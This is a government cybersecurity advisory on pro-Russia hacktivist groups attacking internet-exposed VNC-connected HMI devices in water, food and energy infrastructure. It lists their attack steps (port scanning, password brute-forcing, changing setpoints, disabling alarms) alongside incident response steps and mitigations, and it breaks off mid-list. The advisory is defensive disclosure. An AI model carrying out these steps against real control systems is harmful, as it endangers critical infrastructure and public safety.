<p>The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a>.</p>
<p>The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations"><strong>Mitigations </strong></a>section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Threat Overview and Advisories">Russia Threat Overview and Advisories</a> webpage.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2025-12/aa25-343a-pro-russia-hacktivists-conduct-attacks_0.pdf" class="c-file__link" target="_blank">Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure</a>
    <span class="c-file__size">(PDF,       1.53 MB
  )</span>
  </div>
</div>
<h2><strong>Background and Development of Pro-Russia Hacktivist Groups</strong></h2>
<p>Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.</p>
<h3><strong>Cyber Army of Russia Reborn</strong></h3>
<p>The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see<strong> </strong><a href="https://www.cisa.gov/#AppB" title="Appendix B"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a>)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.</p>
<p>In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.</p>
<p>CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.</p>
<p>In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.</p>
<p>The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.</p>
<h3><strong>NoName057(16)</strong></h3>
<p>The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool <code>DDoSia</code>, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.</p>
<p>Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host <code>DDoSia</code> and share materials and TTPs with their followers. </p>
<p>In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.</p>
<h3><strong>Z-Pentest</strong></h3>
<p>Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.</p>
<p>Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.</p>
<h3><strong>Sector16</strong></h3>
<p>Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.</p>
<p>Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.</p>
<h2><strong>Technical Details</strong></h2>
<p><strong>Note:</strong> This advisory uses the MITRE ATT&amp;CK<sup>®</sup> <a href="https://attack.mitre.org/versions/v18/matrices/enterprise/" title="Matrix for Enterprise framework" data-entity-type="external">Matrix for Enterprise framework</a>, version 18. See the <a href="https://www.cisa.gov/#MITRE" title="MITRE ATT&amp;CK Tactics and Techniques"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a> section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&amp;CK tactics and techniques.</p>
<h3><strong>TTP Overview</strong></h3>
<p>Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.</p>
<p>Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.</p>
<p>Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Sector">Water and Wastewater</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector" data-entity-type="external">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a> Sectors.</p>
<p>Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:</p>
<ul>
<li>Scan for vulnerable devices on the internet [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>] with open VNC ports [<a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a>].</li>
<li>Initiate temporary virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a>] to execute password brute force software.</li>
<li>Use VNC software to access hosts [<a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a>].</li>
<li>Confirm connection to the vulnerable device [<a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a>].</li>
<li>Brute force the password, if required [<a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a>].</li>
<li>Gain access to HMI devices [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>], typically with default [<a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a>], weak, or no passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a>].</li>
<li>Log the confirmed vulnerable device IP address, port, and password.</li>
<li>Using the HMI graphical interface [<a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a>], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [<a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a>]:
<ul>
<li>Modify usernames/passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify parameters [<a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a>];</li>
<li>Modify device name [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify instrument settings [<a href="https://attack.mitre.org/versions/v18/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a>];</li>
<li>Disable alarms [<a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a>];</li>
<li>Create loss of view (a technique that mandates local hands-on operator intervention) [<a href="https://attack.mitre.org/versions/v18/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a>]; and/or</li>
<li>Device restart or shutdown [<a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a>].</li>
</ul>
</li>
<li>Disconnect from the device, ending the VNC connection.</li>
<li>Research the compromised device company after the intrusion [<a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a>].</li>
</ul>
<h4><strong>Propagation</strong></h4>
<p>To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.</p>
<h4><strong>Reconnaissance and Initial Access</strong></h4>
<p>The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as <code>Nmap</code> or <code>OPENVAS</code>, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port <code>5900</code> or other nearby ports (<code>5901-5910</code>). Their goal is to gain remote access to HMI devices connected to live control networks.</p>
<p>Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.</p>
<h4><strong>Impact</strong></h4>
<p>While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.</p>
<p>Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.</p>
<h2><a class="ck-anchor"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to <a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a> for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;CK framework, see CISA and MITRE ATT&amp;CK’s <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a> and CISA’s <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a>.</p>
<p><a class="ck-anchor"></a></p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 1. Reconnaissance</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Gather Victim Organization Information</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a></td>
<td>Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.</td>
</tr>
<tr>
<td>Active Scanning: Vulnerability Scanning</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a></td>
<td>Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 2. Resource Development</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Acquire Infrastructure: Virtual Private Server</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a></td>
<td>Threat actors use virtual infrastructure to obfuscate identifiers.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 3. Initial Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Accessible Device</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a></td>
<td>Threat actors gain access through less secure HMI devices exposed to the internet.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 4. Persistence</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Valid Accounts</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a></td>
<td>Threat actors use password guessing tools to access legitimate accounts on the HMI devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 5. Credential Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Brute Force: Password Spraying</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a></td>
<td>Threat actors use tools to rapidly guess common or simple passwords.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 6. Lateral Movement</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Default Credentials</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a></td>
<td>Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.</td>
</tr>
<tr>
<td>Remote Services</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a></td>
<td>Threat actors leverage VNC services to access system HMI devices.</td>
</tr>
<tr>
<td>Remote Services: VNC</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a></td>
<td>Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 7. Execution</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Graphical User Interface</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a></td>
<td>Threat actors interact with HMI devices via GUIs, attempting to modify control devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 8. Inhibit Response Function</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Device Restart/Shutdown</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a></td>
<td>While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.</td>
</tr>
<tr>
<td>Alarm Suppression</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a></td>
<td>Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.</td>
</tr>
<tr>
<td>Change Credential</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a></td>
<td>Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 9. Impair Process Control</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Modify Parameter</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a></td>
<td>Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.</td>
</tr>
<tr>
<td>Unauthorized Command Message</td>
<td><a href="https://attack.mitre.org/techniques/T0855/" target="_blank" title="T0855" data-entity-type="external">T0855</a></td>
<td>Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 10. Impact</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><a class="ck-anchor"><strong>Technique Title</strong></a></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Loss of Productivity and Revenue</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a></td>
<td>Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.</td>
</tr>
<tr>
<td>Loss of View</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a></td>
<td>Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely. </td>
</tr>
<tr>
<td>Manipulation of Control</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a></td>
<td>Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.  </td>
</tr>
</tbody>
</table>
<h2><strong>Incident Response</strong></h2>
<p>If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols:</p>
<ol>
<li><strong>Determine which hosts were compromised and isolate them</strong> by quarantining or taking them offline.</li>
<li><strong>Initiate threat hunting activities to scope the intrusion</strong>. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.</li>
<li><strong>Reimage compromised hosts</strong>.</li>
<li><strong>Provision new account credentials</strong>.</li>
<li><strong>Report the compromise to CISA, FBI, and/or NSA</strong>. See the <a href="https://www.cisa.gov/#Contact" title="Contact Information"><strong>Contact Information</strong></a> section of this advisory.</li>
<li><strong>Harden the network to prevent additional malicious activity</strong>. See the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations "><strong>Mitigations </strong></a>section of this advisory for guidance.</li>
</ol>
<h2><a class="ck-anchor"><strong>Mitigations</strong></a></h2>
<h3><strong>OT Asset Owners and Operators</strong></h3>
<p>The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="CPGs">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections.</p>
<ul>
<li><strong>Reduce exposure of OT assets to the public-facing internet.</strong> When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#SecureInternetFacingDevices3S" title="CPG 3.S">CPG 3.S</a>].
<ul>
<li><strong>Asset owners should use attack surface management services </strong>and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties.<br><strong>Note:</strong> For more information on attack surface management, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/exposure-reduction" title="Internet Exposure Reduction Guidance">Internet Exposure Reduction Guidance</a>, CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> for U.S. critical infrastructure, and NSA’s <a href="https://www.nsa.gov/Portals/75/documents/resources/everyone/Attack%20Surface%20Management%20copy.pdf" target="_blank" title="Attack Surface Management" data-entity-type="external">Attack Surface Management</a> for the U.S. Defense Industrial Base.</li>
<li><strong>Implement network segmentation between IT and OT networks.</strong> Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementLogicalPhysicalNetworkSegmentation3I" title="CPG 3.I">CPG 3.I</a>].</li>
<li><strong>Consider implementing a firewall and/or virtual private network</strong> if exposure to the internet is necessary for controlling access to devices.
<ul>
<li>Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed.</li>
<li>Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements.</li>
<li>Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks.</li>
<li>Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage.</li>
</ul>
</li>
</ul>
</li>
<li><strong>Adopt mature asset management processes</strong>, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ManageOrganizationalAssets2A" title="CPG 2.A">CPG 2.A</a>].
<ul>
<li><strong>Keep remote access services updated </strong>with the latest version available and ensure all systems and software are up to date with patches and necessary security updates.
<ul>
<li>Keep VNC systems updated with the latest version available.</li>
</ul>
</li>
<li><strong>Refer to the joint </strong><a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators"><strong>Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</strong></a> to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected.</li>
</ul>
</li>
<li><strong>Ensure OT assets use robust authentication procedures.</strong>
<ul>
<li>Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques.</li>
<li>Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ChangingDefaultPasswords3A" title="CPG 3.A">CPG 3.A</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B" title="CPG 3.B">CPG 3.B</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C" title="CPG 3.C">CPG 3.C</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementMultifactorAuthentication3F" title="CPG 3.F">CPG 3.F</a>].</li>
<li>Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MonitorUnsuccessfulAutomatedLoginAttempts3E" title="CPG 3.E">CPG 3.E</a>].</li>
<li>Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ProhibitConnectionofUnauthorizedDevices3R" title="CPG 3.R">CPG 3.R</a>].</li>
<li>Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems.</li>
</ul>
</li>
<li><strong>Enable control system security features </strong>that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#AdministratorsMaintainSeparateUserandPrivilegedAccounts3G" title="CPG 3.G">CPG 3.G</a>].</li>
<li><strong>Implement and practice business recovery/disaster recovery plans.</strong> Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation.
<ul>
